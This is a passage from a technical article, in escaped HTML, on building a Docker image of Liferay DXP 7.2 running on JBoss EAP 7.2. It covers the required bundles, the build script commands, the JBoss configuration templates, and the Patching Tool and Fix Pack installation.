    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 5 - Red Hat Customer Portal from where to download the installation zip file and any patches&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;For this article, the reference version of Liferay is DXP 7.2 SP 3 and that of
RedHat JBoss is 7.2. The table below shows in detail the list of required
dependencies (and not the optional ones indicated in the previous list).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Artifact Name&lt;/th&gt;&lt;th&gt;File Name&lt;/th&gt;&lt;th&gt;Version&lt;/th&gt;&lt;th&gt;Source&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Liferay DXP WAR&lt;/td&gt;&lt;td&gt;liferay-dxp-7.2.10.3-sp3-202009100727.war&lt;/td&gt;&lt;td&gt;7.2.10 SP 3&lt;/td&gt;&lt;td&gt;Liferay Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Liferay DXP Dependencies&lt;/td&gt;&lt;td&gt;liferay-dxp-dependencies-7.2.10.3-sp3-202009100727.zip&lt;/td&gt;&lt;td&gt;7.2.10 SP 3&lt;/td&gt;&lt;td&gt;Liferay Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Liferay DXP OSGi Dependencies&lt;/td&gt;&lt;td&gt;liferay-dxp-osgi-7.2.10.3-sp3-202009100727.zip&lt;/td&gt;&lt;td&gt;7.2.10 SP 3&lt;/td&gt;&lt;td&gt;Liferay Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Liferay Patching Tool&lt;/td&gt;&lt;td&gt;patching-tool-2.0.15.zip&lt;/td&gt;&lt;td&gt;7.2.10 SP 3&lt;/td&gt;&lt;td&gt;Liferay Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;RedHat JBoss EAP&lt;/td&gt;&lt;td&gt;jboss-eap-7.2.0.zip&lt;/td&gt;&lt;td&gt;7.2.0 GA&lt;/td&gt;&lt;td&gt;RedHat Customer Portal&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;figcaption&gt;Table 1 - List of bundles that must be downloaded before starting the image creation procedure&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;5-how-to-create-the-image&quot;&gt;5. How to create the image&lt;/h2&gt;&lt;p&gt;To create the Docker image you need to install the project extension
&lt;a href=&quot;https://github.com/smclab/liferay-docker&quot;&gt;liferay-docker&lt;/a&gt; on the dedicated machine
to the build process. It is also essential that you have downloaded the bundles
indicated in Table 1.&lt;/p&gt;&lt;p&gt;The basic steps to proceed with the creation of the image are:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;installation of the liferay-docker project extension;&lt;/li&gt;&lt;li&gt;preparation of the directory that will contain the bundles of Table 1;&lt;/li&gt;&lt;li&gt;run the build_local_image.sh script.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The &lt;strong&gt;build_local_image.sh&lt;/strong&gt; script that starts the image creation process
Docker Liferay + JBoss EAP, must be run by specifying the following parameters:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;the relative path that contains the bundles of Table 1;&lt;/li&gt;&lt;li&gt;the name of the Docker image/repository;&lt;/li&gt;&lt;li&gt;the name of the tag to be assigned to the image;&lt;/li&gt;&lt;li&gt;flag that indicates whether to push the image to the Docker repository (no-push | push);&lt;/li&gt;&lt;li&gt;name of the application server, whose value in this case is jboss-eap.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;By running the script without providing any parameters, the modes will be shown
use of the command (see figure below). Remember that the script remains valid
to perform Liferay imaging based on the Apache Tomcat bundle of
Liferay.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1184px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/8963e9e9ca08e15dae7726bda7bb82f1/7321b/usage-build-local-image.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:27.333333333333332%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;109\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20109\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2055v54h401V0H297a3434%203434%200%2000-104%203v3c-2%202-4%202-19%202h-18l1-4-1-3-1%203c2%204%205%204-77%204H2V4L1%200%200%2055m262-11h-20c-2%201-2%201%200%201%201%200%202%200%201%201l2%201%203-2h1c0%202%206%203%207%202h4l3-2h1c0%202%205%202%205%200h1l2%202v-4h-8c-2-1-2-1-2%201m16-1l-1%202c0%201%201%202%207%202l7-1h5c0%202%202%201%201%200l1-2%201%201c-1%202%209%202%2011%201h8c1%202%206%201%207-2%200-2%200-2-11-1a2640%202640%200%2001-36%200m-16%2017h-19l-2%201h2l1%201c-1%201%200%201%201%201l3-1h1c1%202%2013%202%2014%200h1c0%201%205%201%205-1h1l1%202c2%200%202-3%201-4h-8c-2-1-2-1-2%201m37-1l-1%201c-4%200-6%200-5%201l1%201h24l4%201c3%200%203%200%203-2s-1-3-9-3l-11%201h-6m-48%2017h-1l-5-1-5%201h-1l-1-1-2%201h-1c-1-2-3-1-3%202%201%202%204%202%205%200h1c1%202%2013%202%2014%200h1c0%202%205%201%205-1l1%201c1%203%202%203%202-1l-1-2h-7c-2-1-2-1-2%201m23-1c-1%202%200%204%201%203h2c1%202%204%202%205%200h2c1%202%202%202%203%201h2c1%201%201%201%202-1l1-2%201%202v1l1-1%202-2v1c-1%202%201%203%203%202h7c6%201%208%200%208-2l-4-2h-6c-2%202-4%202-5%200h-25M84%2093c0%202%201%203%204%203h4l-45%201H2v8h25c23%200%2024%200%2024-2l1-3%201%202-1%203h51c46%200%2052%200%2052-2v-2l1-2%201%203-1%203h14l14-1h-1l-3-1h-3c-2-2%200-4%202-2h2l3-1c2%200%203%201%203%202h-1c-1-1-1-1-1%201%200%203%206%203%208%200%202-2%202-2%200-4-3-2-3-2-32-2l-30-1h2c2%200%202%200%202-2s-1-2-7-2c-6-1-7%200-7%201s-1%201-1-1l-2-1v2c-1%203-5%202-6%200-1-4-2-4-2%200l2%203c2%201-1%201-8%201l-10-1-1-1-2-2c0-2-1-3-3%200h-2l-1-3-1%203m167-1c0%202%200%202-1%201-1-2-9-2-10-1h-2c-1-1-1-1-2%201h-1l-1-2-1%203c0%202%203%202%204%200h1c0%201%201%202%203%202h8c2%200%203-1%203-2h1c1%202%204%202%205%201%200-2%200-2%201%200%202%201%202%201%202-1%200-3-1-3-4-2l-5-1c-1-1-1-1-1%201m23-1v4h1c0-2%202-3%202-1%201%202%205%202%205%200h2c2%202%202%202%203%201%202-1%202-1%202%201l2-1c1-4%202-4%202-1l-1%203%202-3%202-2v1c-1%202%200%203%202%203v-1c0-1%201-2%202-1l3%201%203%201h7c2-2%205-2%205-1h8c1%201%201%201%202-1s1-2-1-2h-14c-1-1-5%200-6%201s-1%200-1-1c0-2%200-2-2-1-2%202-5%202-5%200-1-1-7-1-8%201h-13l-2-1h-2\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/8963e9e9ca08e15dae7726bda7bb82f1/c85cb/usage-build-local-image.webp 300w,/static/8963e9e9ca08e15dae7726bda7bb82f1/e88ff/usage-build-local-image.webp 600w,/static/8963e9e9ca08e15dae7726bda7bb82f1/2754d/usage-build-local-image.webp 1184w&quot; sizes=&quot;(max-width: 1184px) 100vw, 1184px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/8963e9e9ca08e15dae7726bda7bb82f1/5a46d/usage-build-local-image.png 300w,/static/8963e9e9ca08e15dae7726bda7bb82f1/0a47e/usage-build-local-image.png 600w,/static/8963e9e9ca08e15dae7726bda7bb82f1/7321b/usage-build-local-image.png 1184w&quot; sizes=&quot;(max-width: 1184px) 100vw, 1184px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 6 - How to use the script to build local images&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/8963e9e9ca08e15dae7726bda7bb82f1/7321b/usage-build-local-image.png&quot; title=&quot;Figure 6 - How to use the script to build local images&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 6 - How to use the script to build local images&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Console 2 shows the sequence of commands needed to complete with successful creation
of Liferay Docker image installed on JBoss EAP. The image creation process may
take several minutes (between 6 and 8 minutes on CPU: i7 10th generation 1 Socket
2 Core, RAM: 16GB, Storage SSD).&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;1&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 1. Unzip of the liferay-docker project extension&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ unzip ~/Downloads/liferay-docker-1.0.0.zip&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 2. Preparing the directory that will contain the bundles&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker-1.0.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp -a ~/Downloads/bundles &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# 3. Running the image build process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-sp3 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 2 - Commands for creating Liferay Docker image installed on JBoss EAP&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;When the build_local_image.sh script finishes running, using the command &lt;code&gt;docker images&lt;/code&gt;
you can check the new image just created (see figure below).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c2deb698ea20e7354bc214e2e0fe9b79/daf70/liferay-dxp-7.2.10-sp-3-docker-images.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:15%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;60\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2060\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2030v30h200a17238%2017238%200%2000148-1l-53-1c-3-4%201-6%2011-6%205%200%207%200%206-1-4-1-2-3%203-3%204%200%206%202%202%203-1%201%205%201%2012%201l14-1v-3l1-1%201%203v2l1-4h6c5%200%205%200%205%202s10%203%2032%203h11v3l1-26V0h-30l14%201h15v6h-52c-45%200-52%200-53-2-1-1-1-1%201-3%201-2%201-2-147-2H0v30m0%201l1%2029%2084-1c72%200%2083%200%2084-2v-2c-1-2-11-2-77-2H17v-3l-1-2-1%203c0%202%200%202-7%202-6%200-7%200-6-1l3-1h4l1%201c2-2%200-4-5-4l-4%201V38h11l5-1c0-2-2-3-2-1H2c-1%201-1-1-1-5v-6h11l5-1c0-2-2-3-2-1H2c-1%201-1%200-1-1%200-3%202-4%208-3v-1c0-2-1-2-4-2-4%201-4%200-4-2l1-2%202-1h1c0%203%202%202%202%200%200-3%200-3-3-3H1l150-1c18%200%2021-1%2017-4-1-2-5-2-85-2H0v30\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c2deb698ea20e7354bc214e2e0fe9b79/c85cb/liferay-dxp-7.2.10-sp-3-docker-images.webp 300w,/static/c2deb698ea20e7354bc214e2e0fe9b79/e88ff/liferay-dxp-7.2.10-sp-3-docker-images.webp 600w,/static/c2deb698ea20e7354bc214e2e0fe9b79/92f8c/liferay-dxp-7.2.10-sp-3-docker-images.webp 1200w,/static/c2deb698ea20e7354bc214e2e0fe9b79/62ed8/liferay-dxp-7.2.10-sp-3-docker-images.webp 1800w,/static/c2deb698ea20e7354bc214e2e0fe9b79/46261/liferay-dxp-7.2.10-sp-3-docker-images.webp 2400w,/static/c2deb698ea20e7354bc214e2e0fe9b79/41fb3/liferay-dxp-7.2.10-sp-3-docker-images.webp 2464w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c2deb698ea20e7354bc214e2e0fe9b79/5a46d/liferay-dxp-7.2.10-sp-3-docker-images.png 300w,/static/c2deb698ea20e7354bc214e2e0fe9b79/0a47e/liferay-dxp-7.2.10-sp-3-docker-images.png 600w,/static/c2deb698ea20e7354bc214e2e0fe9b79/c1b63/liferay-dxp-7.2.10-sp-3-docker-images.png 1200w,/static/c2deb698ea20e7354bc214e2e0fe9b79/d61c2/liferay-dxp-7.2.10-sp-3-docker-images.png 1800w,/static/c2deb698ea20e7354bc214e2e0fe9b79/97a96/liferay-dxp-7.2.10-sp-3-docker-images.png 2400w,/static/c2deb698ea20e7354bc214e2e0fe9b79/daf70/liferay-dxp-7.2.10-sp-3-docker-images.png 2464w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 7 - Verification of the new Docker Liferay DXP + JBoss EAP image&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c2deb698ea20e7354bc214e2e0fe9b79/c1b63/liferay-dxp-7.2.10-sp-3-docker-images.png&quot; title=&quot;Figure 7 - Verification of the new Docker Liferay DXP + JBoss EAP image&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 7 - Verification of the new Docker Liferay DXP + JBoss EAP image&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;As you can see from what is shown in the figure, two tags have been created that
reflect the pattern indicated in 1.1. Tags that point to the same image (see image
id). The Docker image created is ready to be used.&lt;/p&gt;&lt;h3 id=&quot;51-jboss-eap-configuration-template&quot;&gt;5.1. JBoss EAP configuration template&lt;/h3&gt;&lt;p&gt;JBoss EAP, on which Liferay was installed, received the configuration base defined
on the &lt;a href=&quot;https://learn.liferay.com/dxp/7.x/en/installation-and-upgrades/installing-liferay/installing-liferay-on-an-application-server/installing-on-jboss-eap.html&quot;&gt;Installing on JBoss EAP&lt;/a&gt;
document. The basic JBoss EAP configuration files are available within the
&lt;strong&gt;$PROJECT_DIR/template/jboss-eap&lt;/strong&gt; directory, as shown in the figure
following.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1118px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/fdc89ec3e19295f7b5745e92036b9614/0f246/configuration-template-jboss.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:37.666666666666664%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;150\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20150\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2075v75h401V0H0v75M2%206v4h100c100%200%20101%200%20103-2%201-2%201-2-1-5l-2-2H2v5m261-2l-1%204-10%201c-8%200-9%200-7-1l1-3-15-1v3l6%201h6l-7%201%2029%201a449%20449%200%200035-3c2-2%200-3-7-3l-8%202-1-1c1-1%200-1-5-1l-9-1c-3-1-3-1-3%203l-1%203c-3%201-3%200-2-3l1-3c-1-1-1%200-2%201M2%20143v4h100c99%200%20101%200%20103-2v-4c-2-2-4-2-103-2H2v4\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/fdc89ec3e19295f7b5745e92036b9614/c85cb/configuration-template-jboss.webp 300w,/static/fdc89ec3e19295f7b5745e92036b9614/e88ff/configuration-template-jboss.webp 600w,/static/fdc89ec3e19295f7b5745e92036b9614/34186/configuration-template-jboss.webp 1118w&quot; sizes=&quot;(max-width: 1118px) 100vw, 1118px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/fdc89ec3e19295f7b5745e92036b9614/5a46d/configuration-template-jboss.png 300w,/static/fdc89ec3e19295f7b5745e92036b9614/0a47e/configuration-template-jboss.png 600w,/static/fdc89ec3e19295f7b5745e92036b9614/0f246/configuration-template-jboss.png 1118w&quot; sizes=&quot;(max-width: 1118px) 100vw, 1118px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 8 - Template directory structure for JBoss EAP 7.2.0 configuration files&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/fdc89ec3e19295f7b5745e92036b9614/0f246/configuration-template-jboss.png&quot; title=&quot;Figure 8 - Template directory structure for JBoss EAP 7.2.0 configuration files&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 8 - Template directory structure for JBoss EAP 7.2.0 configuration files&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The basic configuration of JBoss EAP can possibly be changed according to your
needs, doing so already in the image creation phase is it is possible to apply
customizations to the basic configuration.&lt;/p&gt;&lt;p&gt;It is recommended to apply customizations to the JBoss EAP configuration via the
container configuration (see 1.3. Evironment Variables and 1.4. File System).&lt;/p&gt;&lt;h3 id=&quot;52-patching-tool-installation&quot;&gt;5.2. Patching Tool Installation&lt;/h3&gt;&lt;p&gt;In case you want to install the Liferay Patching Tool on the image to create,
just download from the Liferay Customer Portal the latest version of the
Patching Tool (for example: patching-tool-2.0.15.zip), and place the zip file
inside the directory containing the rest of the bundles indicated in Table 1.&lt;/p&gt;&lt;p&gt;When creating the image, if the Patching Tool is present, this will be installed
inside the so-called &lt;strong&gt;LIFERAY_HOME&lt;/strong&gt; (see figure below).&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/6aaa60cf093090a6502edacfa62a711b/cb1ac/view-installation-directory-patching-tool.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:26.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;106\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20106\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2053v53h401V0H0v53m0%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/6aaa60cf093090a6502edacfa62a711b/c85cb/view-installation-directory-patching-tool.webp 300w,/static/6aaa60cf093090a6502edacfa62a711b/e88ff/view-installation-directory-patching-tool.webp 600w,/static/6aaa60cf093090a6502edacfa62a711b/92f8c/view-installation-directory-patching-tool.webp 1200w,/static/6aaa60cf093090a6502edacfa62a711b/62ed8/view-installation-directory-patching-tool.webp 1800w,/static/6aaa60cf093090a6502edacfa62a711b/cb61f/view-installation-directory-patching-tool.webp 1936w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/6aaa60cf093090a6502edacfa62a711b/5a46d/view-installation-directory-patching-tool.png 300w,/static/6aaa60cf093090a6502edacfa62a711b/0a47e/view-installation-directory-patching-tool.png 600w,/static/6aaa60cf093090a6502edacfa62a711b/c1b63/view-installation-directory-patching-tool.png 1200w,/static/6aaa60cf093090a6502edacfa62a711b/d61c2/view-installation-directory-patching-tool.png 1800w,/static/6aaa60cf093090a6502edacfa62a711b/cb1ac/view-installation-directory-patching-tool.png 1936w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 9 - Evidence of the Patching Tool installed during image creation&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/6aaa60cf093090a6502edacfa62a711b/c1b63/view-installation-directory-patching-tool.png&quot; title=&quot;Figure 9 - Evidence of the Patching Tool installed during image creation&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 9 - Evidence of the Patching Tool installed during image creation&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;The operation of is performed during the installation of the Patching Tool
&lt;strong&gt;auto-discovery&lt;/strong&gt; which as a consequence will create the &lt;strong&gt;default.properties&lt;/strong&gt;
file inside of the Patching Tool home directory.&lt;/p&gt;&lt;p&gt;For more information about installing and using this tool, refer to the official
Liferay document which is called &lt;a href=&quot;https://learn.liferay.com/dxp/7.x/en/installation-and-upgrades/maintaining-a-liferay-dxp-installation/patching-liferay/installing-the-patching-tool.html&quot;&gt;Installing the Patching Tool&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: When creating a new image it is recommended to always start from the
latest available version of the Liferay bundles. The installation of the
Patching Tool is essential for creating an image to apply the latest Fix Pack,
Hot Fix or Security Fix released by Liferay. The application fixes can also be
performed after image creation, for example, when a Liferay container is created.&lt;/p&gt;&lt;h3 id=&quot;53-liferay-fix-pack-installation&quot;&gt;5.3. Liferay Fix Pack installation&lt;/h3&gt;&lt;p&gt;When creating the image, you can apply the released Fix Packs from Liferay.
Before you can install the Fix Pack it is essential that you have installed
the Patching Tool (see 5.2. Patching Tool Installation).&lt;/p&gt;&lt;p&gt;Note: When deciding to install a Fix Pack it is essential to make sure that
the version of the Patching Tool installed is compatible with the Fix Pack
wants to install. This information can be found on the download section of the
Fix Pack itself.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:825px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/8fdbcc5f72cd35f5ad1357901ffc7e42/d4c13/fix-pack-requirements.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:51.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;206\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20206\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M63%20144l1%202c3%201%20174%200%20173-1%200-2-173-2-174-1m279%2018v8l1%207h46v-14l-1-2h-23l-23%201m-188%2029c-1%202%201%204%207%204%204%200%205-1%205-2h1l11%201c10%201%2012%200%2013-2%200-3-2-2-2%200h-1c0-2-11-2-14-1h-2c0-1-1-1-2%201h-1l-2-2-2%202h-1c-1-2-9-2-10-1\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/8fdbcc5f72cd35f5ad1357901ffc7e42/c85cb/fix-pack-requirements.webp 300w,/static/8fdbcc5f72cd35f5ad1357901ffc7e42/e88ff/fix-pack-requirements.webp 600w,/static/8fdbcc5f72cd35f5ad1357901ffc7e42/0244e/fix-pack-requirements.webp 825w&quot; sizes=&quot;(max-width: 825px) 100vw, 825px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/8fdbcc5f72cd35f5ad1357901ffc7e42/5a46d/fix-pack-requirements.png 300w,/static/8fdbcc5f72cd35f5ad1357901ffc7e42/0a47e/fix-pack-requirements.png 600w,/static/8fdbcc5f72cd35f5ad1357901ffc7e42/d4c13/fix-pack-requirements.png 825w&quot; sizes=&quot;(max-width: 825px) 100vw, 825px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 10 - Patching Tool requirements for installing the Fix Pack&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/8fdbcc5f72cd35f5ad1357901ffc7e42/d4c13/fix-pack-requirements.png&quot; title=&quot;Figure 10 - Patching Tool requirements for installing the Fix Pack&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 10 - Patching Tool requirements for installing the Fix Pack&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;To activate the installation of the Fix Pack during image creation,
you need to download the Fix Pack from the Liferay Customer Portal and place
the zip file inside the directory containing the rest of the bundles indicated
